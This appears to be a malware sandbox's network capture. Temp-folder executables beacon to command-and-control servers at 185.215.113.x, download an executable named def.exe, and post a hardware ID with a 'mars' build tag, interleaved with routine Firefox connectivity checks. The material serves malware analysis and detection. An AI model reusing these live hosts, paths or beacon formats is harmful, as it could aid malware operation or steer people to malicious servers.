Nov 20, 2024 04:08:47.662281036 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:08:48.362119913 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	62686	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:50.515974045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:08:51.216133118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	62689	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:53.162190914 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:08:53.624766111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	62693	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:55.263736010 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:08:55.990865946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	62694	185.215.113.16	80	5768	C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:56.352585077 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 04:08:57.069977999 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:56 GMT Content-Type: application/octet-stream Content-Length: 2847744 Last-Modified: Wed, 20 Nov 2024 02:17:05 GMT Connection: keep-alive ETag: "673d46a1-2b7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,%,`Ui` @ @.rsrc`2@.idata 8@jwaseymg ++:@reksrrmv +N+@.taggant@+"R+@
Nov 20, 2024 04:08:57.069997072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:57.070012093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:57.070028067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:57.070044994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:57.070066929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:57.070075035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:57.070081949 CET	1236	IN	Data Raw: da 90 b0 c5 b2 ed b1 8a 3b dc af 02 2c 12 0d b5 d7 29 17 a5 98 c7 03 65 67 a2 e5 83 01 27 76 9a 93 14 5c 29 fd 05 37 e5 e3 5d ed ba 0c cb a1 85 48 a3 d1 b4 84 96 a4 80 3a c5 ae 7e 4a 9b 68 97 4c 8e c1 c4 b2 99 bd dc 96 b2 d0 7a 28 ac ae 15 75 75 Data Ascii: ;,)eg'v\)7]H:~JhLz(uuE<U3>O(l""^15R>iBMM^+2FY,A'8M(GMVf;>e'")NkB~Q
Nov 20, 2024 04:08:57.070087910 CET	1236	IN	Data Raw: c6 91 c7 da ee 91 cb a6 d7 7c 50 bb 31 b4 c5 33 79 bc c1 be aa c7 e3 a3 68 19 ec ca 4e d4 bb c5 78 bc fb a4 da f4 ff c7 df 87 3d 43 4f 91 07 c5 78 f0 c7 f2 aa d8 17 b9 9c 2d 22 ff 76 b4 23 9c a8 b5 5b 1f 32 10 b5 4c 4f 14 d4 c5 b8 a5 3b 13 c1 4c Data Ascii: \|P13yhNx=COx-"v#[2LO;LDK+S8&\I@B>H*NAR)gZyhz~2`RBYfF.<7(CK6J. &p92mO,V%=
Nov 20, 2024 04:08:57.070096016 CET	1116	IN	Data Raw: 90 ae c0 cb a4 cc c7 97 8b f9 77 c5 43 78 b7 39 3e 87 c9 f2 7e a1 eb 6b 33 ea f6 e3 9d 6c 1d 69 95 b9 f5 f5 3c 0d ea 89 c9 eb 9c 98 58 a6 fc 5b 89 94 1b d5 2e f7 38 e7 48 84 25 e7 99 e7 17 20 c1 a1 13 b4 4a eb 0b ce 3f 5e 5c c6 b6 41 e1 16 fc 7a Data Ascii: wCx9>~k3li<X[.8H% J?^\Azb%'cuZwaSY9kQJ/RHA8_;s>yPkqFD]]{1S/G=;w$KO>\jDJ/a
Nov 20, 2024 04:08:57.162902117 CET	1236	IN	Data Raw: 1d 87 42 47 41 11 24 04 f2 63 a4 9e db fe ff d8 3d b8 83 dd ad 0d 4c 5a c1 9f ad 5e 47 8c d4 84 5f bb bb 77 26 8c a8 85 6a 83 a7 80 35 25 ae a2 6b 89 a7 83 7b 79 7f 23 75 89 f3 c2 38 04 4d ab 25 14 c3 87 ac 8a e8 89 2c 89 ac c6 2e a6 ae 93 30 8c Data Ascii: BGA$c=LZ^G_w&j5%k{y#u8M%,.0ju1h-$W8Lha,{-4zGp7oa\,,-)/,yYXmW3xR x&tUl\':*49;DxT.g_A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	62697	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:57.543636084 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:08:58.249104977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	62700	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:59.892360926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:00.594177008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	62702	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:02.174997091 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:02.859232903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	62703	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:04.528099060 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:05.224244118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	62704	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:07.424376011 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:08.090522051 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	62706	185.215.113.206	80	5544	C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:08.191446066 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 04:09:08.909514904 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:09:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 04:09:08.912507057 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCAKKKEGCAKJKFIIEGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 33 30 44 38 30 31 37 42 30 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 2d 2d 0d 0a Data Ascii: ------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="hwid"430D8017B0AC3343412148------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="build"mars------CGCAKKKEGCAKJKFIIEGI--
Nov 20, 2024 04:09:09.140513897 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:09:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	62708	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:10.089035034 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:10.792278051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	62715	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:13.012464046 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:09:13.653599977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	62719	34.107.221.82	80	2104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:13.864510059 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:14.307465076 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74660 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:09:14.601102114 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:14.695873976 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74660 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	62730	34.107.221.82	80	2104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:14.561368942 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	62732	34.107.221.82	80	2104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:14.737416983 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:15.182883024 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 82497 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	62733	34.107.221.82	80	2104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:14.758055925 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:15.220655918 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74661 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
